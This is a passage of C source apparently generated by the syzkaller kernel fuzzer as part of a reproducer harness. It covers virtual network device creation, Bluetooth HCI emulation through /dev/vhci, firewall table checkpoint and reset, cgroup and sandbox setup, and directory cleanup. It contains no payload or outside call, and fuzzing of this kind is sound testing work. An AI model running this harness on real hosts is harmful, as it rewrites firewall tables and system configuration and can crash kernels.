netlink_add_vlan(&nlmsg, sock, "vlan0", "veth0_vlan", 0, htons(ETH_P_8021Q)); netlink_add_vlan(&nlmsg, sock, "vlan1", "veth0_vlan", 1, htons(ETH_P_8021AD)); netlink_add_macvlan(&nlmsg, sock, "macvlan0", "veth1_vlan"); netlink_add_macvlan(&nlmsg, sock, "macvlan1", "veth1_vlan"); netlink_add_ipvlan(&nlmsg, sock, "ipvlan0", "veth0_vlan", IPVLAN_MODE_L2, 0); netlink_add_ipvlan(&nlmsg, sock, "ipvlan1", "veth0_vlan", IPVLAN_MODE_L3S, IPVLAN_F_VEPA); netlink_add_veth(&nlmsg, sock, "veth0_macvtap", "veth1_macvtap"); netlink_add_linked(&nlmsg, sock, "macvtap", "macvtap0", "veth0_macvtap"); netlink_add_linked(&nlmsg, sock, "macsec", "macsec0", "veth1_macvtap"); char addr[32]; sprintf(addr, DEV_IPV4, 14 + 10); struct in_addr geneve_addr4; if (inet_pton(AF_INET, addr, &geneve_addr4) <= 0) exit(1); struct in6_addr geneve_addr6; if (inet_pton(AF_INET6, "fc00::01", &geneve_addr6) <= 0) exit(1); netlink_add_geneve(&nlmsg, sock, "geneve0", 0, &geneve_addr4, 0); netlink_add_geneve(&nlmsg, sock, "geneve1", 1, 0, &geneve_addr6); netdevsim_add((int)procid, 4); netlink_wireguard_setup(); for (i = 0; i < sizeof(devices) / (sizeof(devices[0])); i++) { char addr[32]; sprintf(addr, DEV_IPV4, i + 10); netlink_add_addr4(&nlmsg, sock, devices[i].name, addr); if (!devices[i].noipv6) { sprintf(addr, DEV_IPV6, i + 10); netlink_add_addr6(&nlmsg, sock, devices[i].name, addr); } uint64_t macaddr = DEV_MAC + ((i + 10ull) << 40); netlink_device_change(&nlmsg, sock, devices[i].name, true, 0, &macaddr, devices[i].macsize, NULL); } close(sock); } static void initialize_netdevices_init(void) { int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (sock == -1) exit(1); struct { const char* type; int macsize; bool noipv6; bool noup; } devtypes[] = { {"nr", 7, true}, {"rose", 5, true, true}, }; unsigned i; for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++) { char dev[32], addr[32]; sprintf(dev, "%s%d", devtypes[i].type, (int)procid); sprintf(addr, "172.30.%d.%d", i, (int)procid + 1); netlink_add_addr4(&nlmsg, sock, dev, addr); if (!devtypes[i].noipv6) { sprintf(addr, "fe88::%02x:%02x", i, (int)procid + 1); netlink_add_addr6(&nlmsg, sock, dev, addr); } int macsize = devtypes[i].macsize; uint64_t macaddr = 0xbbbbbb + ((unsigned long long)i << (8 * (macsize - 2))) + (procid << (8 * (macsize - 1))); netlink_device_change(&nlmsg, sock, dev, !devtypes[i].noup, 0, &macaddr, macsize, NULL); } close(sock); } static int read_tun(char* data, int size) { if (tunfd < 0) return -1; int rv = read(tunfd, data, size); if (rv < 0) { if (errno == EAGAIN || errno == EBADFD) return -1; exit(1); } return rv; } static void flush_tun() { char data[1000]; while (read_tun(&data[0], sizeof(data)) != -1) { } } #define MAX_FDS 30 #define BTPROTO_HCI 1 #define ACL_LINK 1 #define SCAN_PAGE 2 typedef struct { uint8_t b[6]; } __attribute__((packed)) bdaddr_t; #define HCI_COMMAND_PKT 1 #define HCI_EVENT_PKT 4 #define HCI_VENDOR_PKT 0xff struct hci_command_hdr { uint16_t opcode; uint8_t plen; } __attribute__((packed)); struct hci_event_hdr { uint8_t evt; uint8_t plen; } __attribute__((packed)); #define HCI_EV_CONN_COMPLETE 0x03 struct hci_ev_conn_complete { uint8_t status; uint16_t handle; bdaddr_t bdaddr; uint8_t link_type; uint8_t encr_mode; } __attribute__((packed)); #define HCI_EV_CONN_REQUEST 0x04 struct hci_ev_conn_request { bdaddr_t bdaddr; uint8_t dev_class[3]; uint8_t link_type; } __attribute__((packed)); #define HCI_EV_REMOTE_FEATURES 0x0b struct hci_ev_remote_features { uint8_t status; uint16_t handle; uint8_t features[8]; } __attribute__((packed)); #define HCI_EV_CMD_COMPLETE 0x0e struct hci_ev_cmd_complete { uint8_t ncmd; uint16_t opcode; } __attribute__((packed)); #define HCI_OP_WRITE_SCAN_ENABLE 0x0c1a #define HCI_OP_READ_BUFFER_SIZE 0x1005 struct hci_rp_read_buffer_size { uint8_t status; uint16_t acl_mtu; uint8_t sco_mtu; uint16_t acl_max_pkt; uint16_t sco_max_pkt; } __attribute__((packed)); #define HCI_OP_READ_BD_ADDR 0x1009 struct hci_rp_read_bd_addr { uint8_t status; bdaddr_t bdaddr; } __attribute__((packed)); #define HCI_EV_LE_META 0x3e struct hci_ev_le_meta { uint8_t subevent; } __attribute__((packed)); #define HCI_EV_LE_CONN_COMPLETE 0x01 struct hci_ev_le_conn_complete { uint8_t status; uint16_t handle; uint8_t role; uint8_t bdaddr_type; bdaddr_t bdaddr; uint16_t interval; uint16_t latency; uint16_t supervision_timeout; uint8_t clk_accurancy; } __attribute__((packed)); struct hci_dev_req { uint16_t dev_id; uint32_t dev_opt; }; struct vhci_vendor_pkt { uint8_t type; uint8_t opcode; uint16_t id; }; #define HCIDEVUP _IOW('H', 201, int) #define HCISETSCAN _IOW('H', 221, int) static int vhci_fd = -1; static void rfkill_unblock_all() { int fd = open("/dev/rfkill", O_WRONLY); if (fd < 0) exit(1); struct rfkill_event event = {0}; event.idx = 0; event.type = RFKILL_TYPE_ALL; event.op = RFKILL_OP_CHANGE_ALL; event.soft = 0; event.hard = 0; if (write(fd, &event, sizeof(event)) < 0) exit(1); close(fd); } static void hci_send_event_packet(int fd, uint8_t evt, void* data, size_t data_len) { struct iovec iv[3]; struct hci_event_hdr hdr; hdr.evt = evt; hdr.plen = data_len; uint8_t type = HCI_EVENT_PKT; iv[0].iov_base = &type; iv[0].iov_len = sizeof(type); iv[1].iov_base = &hdr; iv[1].iov_len = sizeof(hdr); iv[2].iov_base = data; iv[2].iov_len = data_len; if (writev(fd, iv, sizeof(iv) / sizeof(struct iovec)) < 0) exit(1); } static void hci_send_event_cmd_complete(int fd, uint16_t opcode, void* data, size_t data_len) { struct iovec iv[4]; struct hci_event_hdr hdr; hdr.evt = HCI_EV_CMD_COMPLETE; hdr.plen = sizeof(struct hci_ev_cmd_complete) + data_len; struct hci_ev_cmd_complete evt_hdr; evt_hdr.ncmd = 1; evt_hdr.opcode = opcode; uint8_t type = HCI_EVENT_PKT; iv[0].iov_base = &type; iv[0].iov_len = sizeof(type); iv[1].iov_base = &hdr; iv[1].iov_len = sizeof(hdr); iv[2].iov_base = &evt_hdr; iv[2].iov_len = sizeof(evt_hdr); iv[3].iov_base = data; iv[3].iov_len = data_len; if (writev(fd, iv, sizeof(iv) / sizeof(struct iovec)) < 0) exit(1); } static bool process_command_pkt(int fd, char* buf, ssize_t buf_size) { struct hci_command_hdr* hdr = (struct hci_command_hdr*)buf; if (buf_size < (ssize_t)sizeof(struct hci_command_hdr) || hdr->plen != buf_size - sizeof(struct hci_command_hdr)) { exit(1); } switch (hdr->opcode) { case HCI_OP_WRITE_SCAN_ENABLE: { uint8_t status = 0; hci_send_event_cmd_complete(fd, hdr->opcode, &status, sizeof(status)); return true; } case HCI_OP_READ_BD_ADDR: { struct hci_rp_read_bd_addr rp = {0}; rp.status = 0; memset(&rp.bdaddr, 0xaa, 6); hci_send_event_cmd_complete(fd, hdr->opcode, &rp, sizeof(rp)); return false; } case HCI_OP_READ_BUFFER_SIZE: { struct hci_rp_read_buffer_size rp = {0}; rp.status = 0; rp.acl_mtu = 1021; rp.sco_mtu = 96; rp.acl_max_pkt = 4; rp.sco_max_pkt = 6; hci_send_event_cmd_complete(fd, hdr->opcode, &rp, sizeof(rp)); return false; } } char dummy[0xf9] = {0}; hci_send_event_cmd_complete(fd, hdr->opcode, dummy, sizeof(dummy)); return false; } static void* event_thread(void* arg) { while (1) { char buf[1024] = {0}; ssize_t buf_size = read(vhci_fd, buf, sizeof(buf)); if (buf_size < 0) exit(1); if (buf_size > 0 && buf[0] == HCI_COMMAND_PKT) { if (process_command_pkt(vhci_fd, buf + 1, buf_size - 1)) break; } } return NULL; } #define HCI_HANDLE_1 200 #define HCI_HANDLE_2 201 static void initialize_vhci() { int hci_sock = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI); if (hci_sock < 0) exit(1); vhci_fd = open("/dev/vhci", O_RDWR); if (vhci_fd == -1) exit(1); const int kVhciFd = 241; if (dup2(vhci_fd, kVhciFd) < 0) exit(1); close(vhci_fd); vhci_fd = kVhciFd; struct vhci_vendor_pkt vendor_pkt; if (read(vhci_fd, &vendor_pkt, sizeof(vendor_pkt)) != sizeof(vendor_pkt)) exit(1); if (vendor_pkt.type != HCI_VENDOR_PKT) exit(1); pthread_t th; if (pthread_create(&th, NULL, event_thread, NULL)) exit(1); int ret = ioctl(hci_sock, HCIDEVUP, vendor_pkt.id); if (ret) { if (errno == ERFKILL) { rfkill_unblock_all(); ret = ioctl(hci_sock, HCIDEVUP, vendor_pkt.id); } if (ret && errno != EALREADY) exit(1); } struct hci_dev_req dr = {0}; dr.dev_id = vendor_pkt.id; dr.dev_opt = SCAN_PAGE; if (ioctl(hci_sock, HCISETSCAN, &dr)) exit(1); struct hci_ev_conn_request request; memset(&request, 0, sizeof(request)); memset(&request.bdaddr, 0xaa, 6); *(uint8_t*)&request.bdaddr.b[5] = 0x10; request.link_type = ACL_LINK; hci_send_event_packet(vhci_fd, HCI_EV_CONN_REQUEST, &request, sizeof(request)); struct hci_ev_conn_complete complete; memset(&complete, 0, sizeof(complete)); complete.status = 0; complete.handle = HCI_HANDLE_1; memset(&complete.bdaddr, 0xaa, 6); *(uint8_t*)&complete.bdaddr.b[5] = 0x10; complete.link_type = ACL_LINK; complete.encr_mode = 0; hci_send_event_packet(vhci_fd, HCI_EV_CONN_COMPLETE, &complete, sizeof(complete)); struct hci_ev_remote_features features; memset(&features, 0, sizeof(features)); features.status = 0; features.handle = HCI_HANDLE_1; hci_send_event_packet(vhci_fd, HCI_EV_REMOTE_FEATURES, &features, sizeof(features)); struct { struct hci_ev_le_meta le_meta; struct hci_ev_le_conn_complete le_conn; } le_conn; memset(&le_conn, 0, sizeof(le_conn)); le_conn.le_meta.subevent = HCI_EV_LE_CONN_COMPLETE; memset(&le_conn.le_conn.bdaddr, 0xaa, 6); *(uint8_t*)&le_conn.le_conn.bdaddr.b[5] = 0x11; le_conn.le_conn.role = 1; le_conn.le_conn.handle = HCI_HANDLE_2; hci_send_event_packet(vhci_fd, HCI_EV_LE_META, &le_conn, sizeof(le_conn)); pthread_join(th, NULL); close(hci_sock); } #define XT_TABLE_SIZE 1536 #define XT_MAX_ENTRIES 10 struct xt_counters { uint64_t pcnt, bcnt; }; struct ipt_getinfo { char name[32]; unsigned int valid_hooks; unsigned int hook_entry[5]; unsigned int underflow[5]; unsigned int num_entries; unsigned int size; }; struct ipt_get_entries { char name[32]; unsigned int size; void* entrytable[XT_TABLE_SIZE / sizeof(void*)]; }; struct ipt_replace { char name[32]; unsigned int valid_hooks; unsigned int num_entries; unsigned int size; unsigned int hook_entry[5]; unsigned int underflow[5]; unsigned int num_counters; struct xt_counters* counters; char entrytable[XT_TABLE_SIZE]; }; struct ipt_table_desc { const char* name; struct ipt_getinfo info; struct ipt_replace replace; }; static struct ipt_table_desc ipv4_tables[] = { {.name = "filter"}, {.name = "nat"}, {.name = "mangle"}, {.name = "raw"}, {.name = "security"}, }; static struct ipt_table_desc ipv6_tables[] = { {.name = "filter"}, {.name = "nat"}, {.name = "mangle"}, {.name = "raw"}, {.name = "security"}, }; #define IPT_BASE_CTL 64 #define IPT_SO_SET_REPLACE (IPT_BASE_CTL) #define IPT_SO_GET_INFO (IPT_BASE_CTL) #define IPT_SO_GET_ENTRIES (IPT_BASE_CTL + 1) struct arpt_getinfo { char name[32]; unsigned int valid_hooks; unsigned int hook_entry[3]; unsigned int underflow[3]; unsigned int num_entries; unsigned int size; }; struct arpt_get_entries { char name[32]; unsigned int size; void* entrytable[XT_TABLE_SIZE / sizeof(void*)]; }; struct arpt_replace { char name[32]; unsigned int valid_hooks; unsigned int num_entries; unsigned int size; unsigned int hook_entry[3]; unsigned int underflow[3]; unsigned int num_counters; struct xt_counters* counters; char entrytable[XT_TABLE_SIZE]; }; struct arpt_table_desc { const char* name; struct arpt_getinfo info; struct arpt_replace replace; }; static struct arpt_table_desc arpt_tables[] = { {.name = "filter"}, }; #define ARPT_BASE_CTL 96 #define ARPT_SO_SET_REPLACE (ARPT_BASE_CTL) #define ARPT_SO_GET_INFO (ARPT_BASE_CTL) #define ARPT_SO_GET_ENTRIES (ARPT_BASE_CTL + 1) static void checkpoint_iptables(struct ipt_table_desc* tables, int num_tables, int family, int level) { int fd = socket(family, SOCK_STREAM, IPPROTO_TCP); if (fd == -1) { switch (errno) { case EAFNOSUPPORT: case ENOPROTOOPT: return; } exit(1); } for (int i = 0; i < num_tables; i++) { struct ipt_table_desc* table = &tables[i]; strcpy(table->info.name, table->name); strcpy(table->replace.name, table->name); socklen_t optlen = sizeof(table->info); if (getsockopt(fd, level, IPT_SO_GET_INFO, &table->info, &optlen)) { switch (errno) { case EPERM: case ENOENT: case ENOPROTOOPT: continue; } exit(1); } if (table->info.size > sizeof(table->replace.entrytable)) exit(1); if (table->info.num_entries > XT_MAX_ENTRIES) exit(1); struct ipt_get_entries entries; memset(&entries, 0, sizeof(entries)); strcpy(entries.name, table->name); entries.size = table->info.size; optlen = sizeof(entries) - sizeof(entries.entrytable) + table->info.size; if (getsockopt(fd, level, IPT_SO_GET_ENTRIES, &entries, &optlen)) exit(1); table->replace.valid_hooks = table->info.valid_hooks; table->replace.num_entries = table->info.num_entries; table->replace.size = table->info.size; memcpy(table->replace.hook_entry, table->info.hook_entry, sizeof(table->replace.hook_entry)); memcpy(table->replace.underflow, table->info.underflow, sizeof(table->replace.underflow)); memcpy(table->replace.entrytable, entries.entrytable, table->info.size); } close(fd); } static void reset_iptables(struct ipt_table_desc* tables, int num_tables, int family, int level) { int fd = socket(family, SOCK_STREAM, IPPROTO_TCP); if (fd == -1) { switch (errno) { case EAFNOSUPPORT: case ENOPROTOOPT: return; } exit(1); } for (int i = 0; i < num_tables; i++) { struct ipt_table_desc* table = &tables[i]; if (table->info.valid_hooks == 0) continue; struct ipt_getinfo info; memset(&info, 0, sizeof(info)); strcpy(info.name, table->name); socklen_t optlen = sizeof(info); if (getsockopt(fd, level, IPT_SO_GET_INFO, &info, &optlen)) exit(1); if (memcmp(&table->info, &info, sizeof(table->info)) == 0) { struct ipt_get_entries entries; memset(&entries, 0, sizeof(entries)); strcpy(entries.name, table->name); entries.size = table->info.size; optlen = sizeof(entries) - sizeof(entries.entrytable) + entries.size; if (getsockopt(fd, level, IPT_SO_GET_ENTRIES, &entries, &optlen)) exit(1); if (memcmp(table->replace.entrytable, entries.entrytable, table->info.size) == 0) continue; } struct xt_counters counters[XT_MAX_ENTRIES]; table->replace.num_counters = info.num_entries; table->replace.counters = counters; optlen = sizeof(table->replace) - sizeof(table->replace.entrytable) + table->replace.size; if (setsockopt(fd, level, IPT_SO_SET_REPLACE, &table->replace, optlen)) exit(1); } close(fd); } static void checkpoint_arptables(void) { int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (fd == -1) { switch (errno) { case EAFNOSUPPORT: case ENOPROTOOPT: return; } exit(1); } for (unsigned i = 0; i < sizeof(arpt_tables) / sizeof(arpt_tables[0]); i++) { struct arpt_table_desc* table = &arpt_tables[i]; strcpy(table->info.name, table->name); strcpy(table->replace.name, table->name); socklen_t optlen = sizeof(table->info); if (getsockopt(fd, SOL_IP, ARPT_SO_GET_INFO, &table->info, &optlen)) { switch (errno) { case EPERM: case ENOENT: case ENOPROTOOPT: continue; } exit(1); } if (table->info.size > sizeof(table->replace.entrytable)) exit(1); if (table->info.num_entries > XT_MAX_ENTRIES) exit(1); struct arpt_get_entries entries; memset(&entries, 0, sizeof(entries)); strcpy(entries.name, table->name); entries.size = table->info.size; optlen = sizeof(entries) - sizeof(entries.entrytable) + table->info.size; if (getsockopt(fd, SOL_IP, ARPT_SO_GET_ENTRIES, &entries, &optlen)) exit(1); table->replace.valid_hooks = table->info.valid_hooks; table->replace.num_entries = table->info.num_entries; table->replace.size = table->info.size; memcpy(table->replace.hook_entry, table->info.hook_entry, sizeof(table->replace.hook_entry)); memcpy(table->replace.underflow, table->info.underflow, sizeof(table->replace.underflow)); memcpy(table->replace.entrytable, entries.entrytable, table->info.size); } close(fd); } static void reset_arptables() { int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (fd == -1) { switch (errno) { case EAFNOSUPPORT: case ENOPROTOOPT: return; } exit(1); } for (unsigned i = 0; i < sizeof(arpt_tables) / sizeof(arpt_tables[0]); i++) { struct arpt_table_desc* table = &arpt_tables[i]; if (table->info.valid_hooks == 0) continue; struct arpt_getinfo info; memset(&info, 0, sizeof(info)); strcpy(info.name, table->name); socklen_t optlen = sizeof(info); if (getsockopt(fd, SOL_IP, ARPT_SO_GET_INFO, &info, &optlen)) exit(1); if (memcmp(&table->info, &info, sizeof(table->info)) == 0) { struct arpt_get_entries entries; memset(&entries, 0, sizeof(entries)); strcpy(entries.name, table->name); entries.size = table->info.size; optlen = sizeof(entries) - sizeof(entries.entrytable) + entries.size; if (getsockopt(fd, SOL_IP, ARPT_SO_GET_ENTRIES, &entries, &optlen)) exit(1); if (memcmp(table->replace.entrytable, entries.entrytable, table->info.size) == 0) continue; } else { } struct xt_counters counters[XT_MAX_ENTRIES]; table->replace.num_counters = info.num_entries; table->replace.counters = counters; optlen = sizeof(table->replace) - sizeof(table->replace.entrytable) + table->replace.size; if (setsockopt(fd, SOL_IP, ARPT_SO_SET_REPLACE, &table->replace, optlen)) exit(1); } close(fd); } #define NF_BR_NUMHOOKS 6 #define EBT_TABLE_MAXNAMELEN 32 #define EBT_CHAIN_MAXNAMELEN 32 #define EBT_BASE_CTL 128 #define EBT_SO_SET_ENTRIES (EBT_BASE_CTL) #define EBT_SO_GET_INFO (EBT_BASE_CTL) #define EBT_SO_GET_ENTRIES (EBT_SO_GET_INFO + 1) #define EBT_SO_GET_INIT_INFO (EBT_SO_GET_ENTRIES + 1) #define EBT_SO_GET_INIT_ENTRIES (EBT_SO_GET_INIT_INFO + 1) struct ebt_replace { char name[EBT_TABLE_MAXNAMELEN]; unsigned int valid_hooks; unsigned int nentries; unsigned int entries_size; struct ebt_entries* hook_entry[NF_BR_NUMHOOKS]; unsigned int num_counters; struct ebt_counter* counters; char* entries; }; struct ebt_entries { unsigned int distinguisher; char name[EBT_CHAIN_MAXNAMELEN]; unsigned int counter_offset; int policy; unsigned int nentries; char data[0] __attribute__((aligned(__alignof__(struct ebt_replace)))); }; struct ebt_table_desc { const char* name; struct ebt_replace replace; char entrytable[XT_TABLE_SIZE]; }; static struct ebt_table_desc ebt_tables[] = { {.name = "filter"}, {.name = "nat"}, {.name = "broute"}, }; static void checkpoint_ebtables(void) { int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (fd == -1) { switch (errno) { case EAFNOSUPPORT: case ENOPROTOOPT: return; } exit(1); } for (size_t i = 0; i < sizeof(ebt_tables) / sizeof(ebt_tables[0]); i++) { struct ebt_table_desc* table = &ebt_tables[i]; strcpy(table->replace.name, table->name); socklen_t optlen = sizeof(table->replace); if (getsockopt(fd, SOL_IP, EBT_SO_GET_INIT_INFO, &table->replace, &optlen)) { switch (errno) { case EPERM: case ENOENT: case ENOPROTOOPT: continue; } exit(1); } if (table->replace.entries_size > sizeof(table->entrytable)) exit(1); table->replace.num_counters = 0; table->replace.entries = table->entrytable; optlen = sizeof(table->replace) + table->replace.entries_size; if (getsockopt(fd, SOL_IP, EBT_SO_GET_INIT_ENTRIES, &table->replace, &optlen)) exit(1); } close(fd); } static void reset_ebtables() { int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (fd == -1) { switch (errno) { case EAFNOSUPPORT: case ENOPROTOOPT: return; } exit(1); } for (unsigned i = 0; i < sizeof(ebt_tables) / sizeof(ebt_tables[0]); i++) { struct ebt_table_desc* table = &ebt_tables[i]; if (table->replace.valid_hooks == 0) continue; struct ebt_replace replace; memset(&replace, 0, sizeof(replace)); strcpy(replace.name, table->name); socklen_t optlen = sizeof(replace); if (getsockopt(fd, SOL_IP, EBT_SO_GET_INFO, &replace, &optlen)) exit(1); replace.num_counters = 0; table->replace.entries = 0; for (unsigned h = 0; h < NF_BR_NUMHOOKS; h++) table->replace.hook_entry[h] = 0; if (memcmp(&table->replace, &replace, sizeof(table->replace)) == 0) { char entrytable[XT_TABLE_SIZE]; memset(&entrytable, 0, sizeof(entrytable)); replace.entries = entrytable; optlen = sizeof(replace) + replace.entries_size; if (getsockopt(fd, SOL_IP, EBT_SO_GET_ENTRIES, &replace, &optlen)) exit(1); if (memcmp(table->entrytable, entrytable, replace.entries_size) == 0) continue; } for (unsigned j = 0, h = 0; h < NF_BR_NUMHOOKS; h++) { if (table->replace.valid_hooks & (1 << h)) { table->replace.hook_entry[h] = (struct ebt_entries*)table->entrytable + j; j++; } } table->replace.entries = table->entrytable; optlen = sizeof(table->replace) + table->replace.entries_size; if (setsockopt(fd, SOL_IP, EBT_SO_SET_ENTRIES, &table->replace, optlen)) exit(1); } close(fd); } static void checkpoint_net_namespace(void) { checkpoint_ebtables(); checkpoint_arptables(); checkpoint_iptables(ipv4_tables, sizeof(ipv4_tables) / sizeof(ipv4_tables[0]), AF_INET, SOL_IP); checkpoint_iptables(ipv6_tables, sizeof(ipv6_tables) / sizeof(ipv6_tables[0]), AF_INET6, SOL_IPV6); } static void reset_net_namespace(void) { reset_ebtables(); reset_arptables(); reset_iptables(ipv4_tables, sizeof(ipv4_tables) / sizeof(ipv4_tables[0]), AF_INET, SOL_IP); reset_iptables(ipv6_tables, sizeof(ipv6_tables) / sizeof(ipv6_tables[0]), AF_INET6, SOL_IPV6); } static void setup_cgroups() { if (mkdir("/syzcgroup", 0777)) { } if (mkdir("/syzcgroup/unified", 0777)) { } if (mount("none", "/syzcgroup/unified", "cgroup2", 0, NULL)) { } if (chmod("/syzcgroup/unified", 0777)) { } write_file("/syzcgroup/unified/cgroup.subtree_control", "+cpu +memory +io +pids +rdma"); if (mkdir("/syzcgroup/cpu", 0777)) { } if (mount("none", "/syzcgroup/cpu", "cgroup", 0, "cpuset,cpuacct,perf_event,hugetlb")) { } write_file("/syzcgroup/cpu/cgroup.clone_children", "1"); write_file("/syzcgroup/cpu/cpuset.memory_pressure_enabled", "1"); if (chmod("/syzcgroup/cpu", 0777)) { } if (mkdir("/syzcgroup/net", 0777)) { } if (mount("none", "/syzcgroup/net", "cgroup", 0, "net_cls,net_prio,devices,freezer")) { } if (chmod("/syzcgroup/net", 0777)) { } } static void setup_cgroups_loop() { int pid = getpid(); char file[128]; char cgroupdir[64]; snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid); if (mkdir(cgroupdir, 0777)) { } snprintf(file, sizeof(file), "%s/pids.max", cgroupdir); write_file(file, "32"); snprintf(file, sizeof(file), "%s/memory.low", cgroupdir); write_file(file, "%d", 298 << 20); snprintf(file, sizeof(file), "%s/memory.high", cgroupdir); write_file(file, "%d", 299 << 20); snprintf(file, sizeof(file), "%s/memory.max", cgroupdir); write_file(file, "%d", 300 << 20); snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir); write_file(file, "%d", pid); snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/cpu/syz%llu", procid); if (mkdir(cgroupdir, 0777)) { } snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir); write_file(file, "%d", pid); snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/net/syz%llu", procid); if (mkdir(cgroupdir, 0777)) { } snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir); write_file(file, "%d", pid); } static void setup_cgroups_test() { char cgroupdir[64]; snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid); if (symlink(cgroupdir, "./cgroup")) { } snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/cpu/syz%llu", procid); if (symlink(cgroupdir, "./cgroup.cpu")) { } snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/net/syz%llu", procid); if (symlink(cgroupdir, "./cgroup.net")) { } } static void setup_common() { if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) { } setup_cgroups(); } static void loop(); static void sandbox_common() { prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0); setpgrp(); setsid(); struct rlimit rlim; rlim.rlim_cur = rlim.rlim_max = (200 << 20); setrlimit(RLIMIT_AS, &rlim); rlim.rlim_cur = rlim.rlim_max = 32 << 20; setrlimit(RLIMIT_MEMLOCK, &rlim); rlim.rlim_cur = rlim.rlim_max = 136 << 20; setrlimit(RLIMIT_FSIZE, &rlim); rlim.rlim_cur = rlim.rlim_max = 1 << 20; setrlimit(RLIMIT_STACK, &rlim); rlim.rlim_cur = rlim.rlim_max = 0; setrlimit(RLIMIT_CORE, &rlim); rlim.rlim_cur = rlim.rlim_max = 256; setrlimit(RLIMIT_NOFILE, &rlim); if (unshare(CLONE_NEWNS)) { } if (mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL)) { } if (unshare(CLONE_NEWIPC)) { } if (unshare(0x02000000)) { } if (unshare(CLONE_NEWUTS)) { } if (unshare(CLONE_SYSVSEM)) { } typedef struct { const char* name; const char* value; } sysctl_t; static const sysctl_t sysctls[] = { {"/proc/sys/kernel/shmmax", "16777216"}, {"/proc/sys/kernel/shmall", "536870912"}, {"/proc/sys/kernel/shmmni", "1024"}, {"/proc/sys/kernel/msgmax", "8192"}, {"/proc/sys/kernel/msgmni", "1024"}, {"/proc/sys/kernel/msgmnb", "1024"}, {"/proc/sys/kernel/sem", "1024 1048576 500 1024"}, }; unsigned i; for (i = 0; i < sizeof(sysctls) / sizeof(sysctls[0]); i++) write_file(sysctls[i].name, sysctls[i].value); } static int wait_for_loop(int pid) { if (pid < 0) exit(1); int status = 0; while (waitpid(-1, &status, __WALL) != pid) { } return WEXITSTATUS(status); } static void drop_caps(void) { struct __user_cap_header_struct cap_hdr = {}; struct __user_cap_data_struct cap_data[2] = {}; cap_hdr.version = _LINUX_CAPABILITY_VERSION_3; cap_hdr.pid = getpid(); if (syscall(SYS_capget, &cap_hdr, &cap_data)) exit(1); const int drop = (1 << CAP_SYS_PTRACE) | (1 << CAP_SYS_NICE); cap_data[0].effective &= ~drop; cap_data[0].permitted &= ~drop; cap_data[0].inheritable &= ~drop; if (syscall(SYS_capset, &cap_hdr, &cap_data)) exit(1); } static int do_sandbox_none(void) { if (unshare(CLONE_NEWPID)) { } int pid = fork(); if (pid != 0) return wait_for_loop(pid); setup_common(); initialize_vhci(); sandbox_common(); drop_caps(); initialize_netdevices_init(); if (unshare(CLONE_NEWNET)) { } initialize_tun(); initialize_netdevices(); loop(); exit(1); } #define FS_IOC_SETFLAGS _IOW('f', 2, long) static void remove_dir(const char* dir) { int iter = 0; DIR* dp = 0; retry: while (umount2(dir, MNT_DETACH) == 0) { } dp = opendir(dir); if (dp == NULL) { if (errno == EMFILE) { exit(1); } exit(1); } struct dirent* ep = 0; while ((ep = readdir(dp))) { if (strcmp(ep->d_name, ".") == 0 || strcmp(ep->d_name, "..") == 0) continue; char filename[FILENAME_MAX]; snprintf(filename, sizeof(filename), "%s/%s", dir, ep->d_name); while (umount2(filename, MNT_DETACH) == 0) { } struct stat st; if (lstat(filename, &st)) exit(1); if (S_ISDIR(st.st_mode)) { remove_dir(filename); continue; } int i; for (i = 0;; i++) { if (unlink(filename) == 0) break; if (errno == EPERM) { int fd = open(filename, O_RDONLY); if (fd != -1) { long flags = 0; if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0) { } close(fd); continue; } } if (errno == EROFS) { break; } if (errno != EBUSY || i > 100) exit(1); if (umount2(filename, MNT_DETACH)) exit(1); } } closedir(dp); for (int i = 0;; i++) { if (rmdir(dir) == 0) break; if (i < 100) { if (errno == EPERM) { int fd = open(dir, O_RDONLY); if (fd != -1) { long flags = 0; if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0) { } close(fd); continue; } } if (errno == EROFS) { break; } if (errno == EBUSY) { if (umount2(dir, MNT_DETACH)) exit(1); continue; } if (errno == ENOTEMPTY) { if (iter < 100) { iter++; goto retry; } } } exit(1); } } static void kill_and_wait(int pid, int* status) { kill(-pid, SIGKILL); kill(pid, SIGKILL); for (int i = 0; i < 100; i++) { if (waitpid(-1, status, WNOHANG | __WALL) == pid) return; usleep(1000); } DIR* dir = opendir("/sys/fs/fuse/connections"); if (dir) { for (;;) { struct dirent* ent = readdir(dir); if (!ent) break; if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0) continue; char abort[300]; snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort", ent->d_name); int fd = open(abort, O_WRONLY); if (fd == -1) { continue; } if (write(fd, abort, 1) < 0) { } close(fd); } closedir(dir); } else { } while (waitpid(-1, status, __WALL) != pid) { } } static void setup_loop() { setup_cgroups_loop(); checkpoint_net_namespace(); } static void reset_loop() { reset_net_namespace(); } static void setup_test() { prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0); setpgrp(); setup_cgroups_test(); write_file("/proc/self/oom_score_adj", "1000"); flush_tun(); } static void close_fds() { for (int fd = 3; fd < MAX_FDS; fd++) close(fd); } static void setup_binfmt_misc() { if (mount(0, "/proc/sys/fs/binfmt_misc", "binfmt_misc", 0, 0)) { } write_file("/proc/sys/fs/binfmt_misc/register", ":syz0:M:0:\x01::./file0:"); 